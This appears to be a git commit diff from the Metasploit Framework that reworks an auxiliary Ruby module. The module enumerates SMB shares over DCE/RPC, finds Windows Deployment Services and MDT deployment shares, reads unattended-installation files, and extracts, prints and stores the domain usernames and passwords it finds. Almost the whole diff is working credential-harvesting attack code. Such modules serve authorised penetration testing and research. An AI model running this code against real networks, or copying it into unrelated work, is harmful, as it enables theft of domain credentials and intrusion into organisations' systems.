Major rework of this module, please see the diff

bug/bundler_fix
HD Moore 2014-06-23 16:13:42 -05:00
parent 94388e3931
commit 2772d84a18
1 changed files with 143 additions and 137 deletions

View File

@ -20,9 +20,11 @@ class Metasploit3 < Msf::Auxiliary
super(update_info(info,
'Name' => 'Microsoft Windows Deployment Services Unattend Gatherer',
'Description' => %q{
Used after discovering domain credentials with aux/scanner/dcerpc/windows_deployment_services
or if you already have domain credentials. Will attempt to connect to the RemInst share and any
Microsoft Deployment Toolkit shares (identified by comments), search for unattend files, and recover credentials.
This module will search remote file shares for unattended installation files that may contain
domain credentials. This is often used after discovering domain credentials with the
auxilliary/scanner/dcerpc/windows_deployment_services module or in cases where you already
have domain credentials. This module will connect to the RemInst share and any Microsoft
Deployment Toolkit shares indicated by the share name comments.
},
'Author' => [ 'Ben Campbell <eat_meatballs[at]hotmail.co.uk>' ],
'License' => MSF_LICENSE,
@ -42,130 +44,141 @@ class Metasploit3 < Msf::Auxiliary
deregister_options('RHOST', 'CHOST', 'CPORT', 'SSL', 'SSLVersion')
end
# Determine the type of share based on an ID type value
def share_type(val)
stypes = [
'DISK',
'PRINTER',
'DEVICE',
'IPC',
'SPECIAL',
'TEMPORARY'
]
if val > (stypes.length - 1)
return 'UNKNOWN'
end
stypes[val]
stypes = %W{ DISK PRINTER DEVICE IPC SPECIAL TEMPORARY }
stypes[val] || 'UNKNOWN'
end
# Stolen from enumshares - Tried refactoring into simple client, but the two methods need to go in EXPLOIT::SMB and EXPLOIT::DCERPC
# and then the lanman method calls the RPC method. Suggestions where to refactor to welcomed!
def srvsvc_netshareenum
simple.connect("IPC$")
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost} : #{e.message}")
return
shares = []
handle = dcerpc_handle('4b324fc8-1670-01d3-1278-5a47bf6ee188', '3.0', 'ncacn_np', ["\\srvsvc"])
begin
dcerpc_bind(handle)
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
print_error("#{rhost} : #{e.message}")
return
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << [0xffffffff].pack("V")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
# Additional error handling and validation needs to occur before
# this code can be moved into a mixin
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} Win_error = #{win_error.to_i}")
end
# Level, CTR header, Reference ID of CTR
res.slice!(0,12)
share_count = res.slice!(0, 4).unpack("V")[0]
# Reference ID of CTR1
res.slice!(0,4)
share_max_count = res.slice!(0, 4).unpack("V")[0]
if share_max_count != share_count
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share_max_count did not match share_count")
end
# ReferenceID / Type / ReferenceID of Comment
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]}
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
if offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share offset was not zero")
end
stubdata =
NDR.uwstring("\\\\#{rhost}") +
NDR.long(1) #level
ref_id = stubdata[0,4].unpack("V")[0]
ctr = [1, ref_id + 4 , 0, 0].pack("VVVV")
stubdata << ctr
stubdata << NDR.align(ctr)
stubdata << ["FFFFFFFF"].pack("H*")
stubdata << [ref_id + 8, 0].pack("VV")
response = dcerpc.call(0x0f, stubdata)
res = response.dup
win_error = res.slice!(-4, 4).unpack("V")[0]
if win_error != 0
raise "DCE/RPC error : Win_error = #{win_error + 0}"
if length != max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share name max length was not length")
end
#remove some uneeded data
res.slice!(0,12) # level, CTR header, Reference ID of CTR
share_count = res.slice!(0, 4).unpack("V")[0]
res.slice!(0,4) # Reference ID of CTR1
share_max_count = res.slice!(0, 4).unpack("V")[0]
raise "Dce/RPC error : Unknow situation encountered count != count max (#{share_count}/#{share_max_count})" if share_max_count != share_count
name = res.slice!(0, 2 * length)
res.slice!(0,2) if length % 2 == 1 # pad
types = res.slice!(0, share_count * 12).scan(/.{12}/n).map{|a| a[4,2].unpack("v")[0]} # RerenceID / Type / ReferenceID of Comment
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
share_count.times do |t|
length, offset, max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered offset != 0 (#{offset})" if offset != 0
raise "Dce/RPC error : Unknow situation encountered length !=max_length (#{length}/#{max_length})" if length != max_length
name = res.slice!(0, 2 * length).gsub('\x00','')
res.slice!(0,2) if length % 2 == 1 # pad
comment_length, comment_offset, comment_max_length = res.slice!(0, 12).unpack("VVV")
raise "Dce/RPC error : Unknow situation encountered comment_offset != 0 (#{comment_offset})" if comment_offset != 0
if comment_length != comment_max_length
raise "Dce/RPC error : Unknow situation encountered comment_length != comment_max_length (#{comment_length}/#{comment_max_length})"
end
comment = res.slice!(0, 2 * comment_length).gsub('\x00','')
res.slice!(0,2) if comment_length % 2 == 1 # pad
@shares << [ name, share_type(types[t]), comment]
if comment_offset != 0
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment offset was not zero")
end
if comment_length != comment_max_length
fail_with(Failure::UnexpectedReply, "#{rhost}:#{rport} share comment max length was not length")
end
comment = res.slice!(0, 2 * comment_length)
res.slice!(0,2) if comment_length % 2 == 1 # pad
shares << [ name, share_type(types[t]), comment]
end
shares
end
def run_host(ip)
@shares = []
deploy_shares = []
deploy_shares = []
begin
connect
smb_login
srvsvc_netshareenum
begin
connect
smb_login
srvsvc_netshareenum.each do |share|
# Ghetto unicode to ascii conversation
share_name = share[0].unpack("v*").pack("C*").split("\x00").first
share_comm = share[2].unpack("v*").pack("C*").split("\x00").first
share_type = share[1]
@shares.each do |share|
# I hate unicode, couldn't find any other way to get these to compare!
# look at iconv for 1.8/1.9 compatability?
if (share[0].unpack('H*') == "REMINST\x00".encode('utf-16LE').unpack('H*')) ||
(share[2].unpack('H*') == "MDT Deployment Share\x00".encode('utf-16LE').unpack('H*'))
print_status("#{ip}:#{rport} #{share[0]} - #{share[1]} - #{share[2]}")
deploy_shares << share[0]
end
if share_type == "DISK" and (share_name == "REMINST" or share_comm == "MDT Deployment Share")
vprint_good("#{ip}:#{rport} Identified deployment share #{share_name} #{share_comm}")
deploy_shares << share_name
end
deploy_shares.each do |deploy_share|
query_share(ip, deploy_share)
end
rescue ::Interrupt
raise $!
end
deploy_shares.each do |deploy_share|
query_share(deploy_share)
end
rescue ::Interrupt
raise $!
end
end
def query_share(rhost, deploy_share)
share_path = "\\\\#{rhost}\\#{deploy_share}"
print_status("Enumerating #{share_path}")
def query_share(share)
share_path = "\\\\#{rhost}\\#{share}"
vprint_status("#{rhost}:#{rport} Enumerating #{share}...")
table = Rex::Ui::Text::Table.new({
'Header' => share_path,
'Indent' => 1,
'Header' => share_path,
'Indent' => 1,
'Columns' => ['Path', 'Type', 'Domain', 'Username', 'Password']
})
creds_found = false
# ruby 1.8 compat?
share = deploy_share.force_encoding('utf-16LE').encode('ASCII-8BIT').strip
begin
simple.connect(share)
simple.connect(share_path)
rescue ::Exception => e
print_error("#{share_path} - #{e}")
print_error("#{rhost}:#{rport} Could not access share: #{share} - #{e}")
return
end
@ -173,62 +186,55 @@ class Metasploit3 < Msf::Auxiliary
results.each do |file_path|
file = simple.open(file_path, 'o').read()
next unless file
unless file.nil?
loot_unattend(file)
loot_unattend(file)
creds = parse_client_unattend(file)
creds.each do |cred|
unless cred.empty?
unless cred['username'].nil? || cred['password'].nil?
print_good("Retrived #{cred['type']} credentials from #{file_path}")
creds_found = true
domain = ""
domain = cred['domain'] if cred['domain']
report_creds(domain, cred['username'], cred['password'])
table << [file_path, cred['type'], domain, cred['username'], cred['password']]
end
end
end
creds = parse_client_unattend(file)
creds.each do |cred|
next unless (cred and cred['username'] and cred['password'])
next unless cred['username'].to_s.length > 0
next unless cred['password'].to_s.length > 0
report_creds(cred['domain'].to_s, cred['username'], cred['password'])
print_good("#{rhost}:#{rport} Credentials: " +
"Path=#{file_path} " +
"Username=#{cred['domain'].to_s}\\#{cred['username'].to_s} " +
"Password=#{cred['password'].to_s}"
)
end
end
if creds_found
print_line
table.print
print_line
else
print_error("No Unattend files found.")
end
end
def parse_client_unattend(data)
begin
xml = REXML::Document.new(data)
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
return Rex::Parser::Unattend.parse(xml).flatten
rescue REXML::ParseException => e
print_error("Invalid XML format")
vprint_line(e.message)
end
Rex::Parser::Unattend.parse(xml).flatten
end
def loot_unattend(data)
return if data.empty?
p = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_status("Raw version saved as: #{p}")
return if data.empty?
path = store_loot('windows.unattend.raw', 'text/plain', rhost, data, "Windows Deployment Services")
print_status("#{rhost}:#{rport} Stored unattend.xml in #{path}")
end
def report_creds(domain, user, pass)
report_auth_info(
:host => rhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass)
:host => rhost,
:port => 445,
:sname => 'smb',
:proto => 'tcp',
:source_id => nil,
:source_type => "aux",
:user => "#{domain}\\#{user}",
:pass => pass
)
end
end